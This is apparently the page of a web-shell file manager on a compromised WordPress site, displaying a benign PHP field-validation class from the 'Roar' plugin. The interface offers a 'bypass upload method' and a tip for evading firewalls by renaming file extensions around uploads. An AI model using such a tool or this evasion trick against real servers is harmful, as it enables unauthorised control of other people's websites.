Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
var
www
nea-2020.wpress.dk
httpdocs
wp-content
plugins
roar
meta
fields
File Content:
CodeField.php
<?php /** * Defines a field intended for raw input of code snippets * * @package Roar * @author LION Interactive <https://lioninteractive.com> * @license https://opensource.org/licenses/MIT MIT License */ namespace Roar\Meta\Fields; use Roar\Meta\MetaField as MetaField; /** * Extends the base MetaField class to add functionality specific to the 'code' * field type */ class CodeField extends MetaField { /** * Instantiates a new instance of the field * @param String $id The unique ID for this field * @param MetaSection $section The parent section this field belongs to * @param Array $options An array of field options */ public function __construct($id, &$section, $options = array()) { $this->type = 'code'; parent::__construct($id, $section, $options); // Apply the field-specific options $this->options = wp_parse_args($this->options, array( 'rows' => 5, 'placeholder' => '', 'min_length' => null, 'max_length' => null, 'pattern' => '', 'line_wrap' => false )); } /** * Validates a potential field value * @param Mixed $val The value to validate * @param Mixed $old_val The existing field value * @return Mixed The validated value or WP_Error describing the validation * error that occurred */ public function validate($val, $old_val = null) { // Required if ('' === $val) { if ($this->options['required']) { return new \WP_Error( 'validation_error', 'This field is required.', array( 'status' => 400 ) ); } else { return $val; } } // Min character length if ( isset($this->options['min_length']) && strlen($val) < $this->options['min_length'] ) { $msg = 'This field must be at least ' . "{$this->options['min_length']} characters."; return new \WP_Error('validation_error', $msg, array( 'status' => 400 )); } // Max character length if ( isset($this->options['max_length']) && strlen($val) > $this->options['max_length'] ) { $msg = 'This field may not be greater than ' . "{$this->options['max_length']} characters."; return new \WP_Error('validation_error', $msg, array( 'status' => 400 )); } // Matches pattern if ( $this->options['pattern'] && !preg_match('/' . $this->options['pattern'] . '/', $val) ) { $msg = 'The format of this field is invalid.'; return new \WP_Error('validation_error', $msg, array( 'status' => 400 )); } return $val; } } MetaField::register_type('code', __NAMESPACE__ . '\CodeField');
Edit
Download
Unzip
Chmod
Delete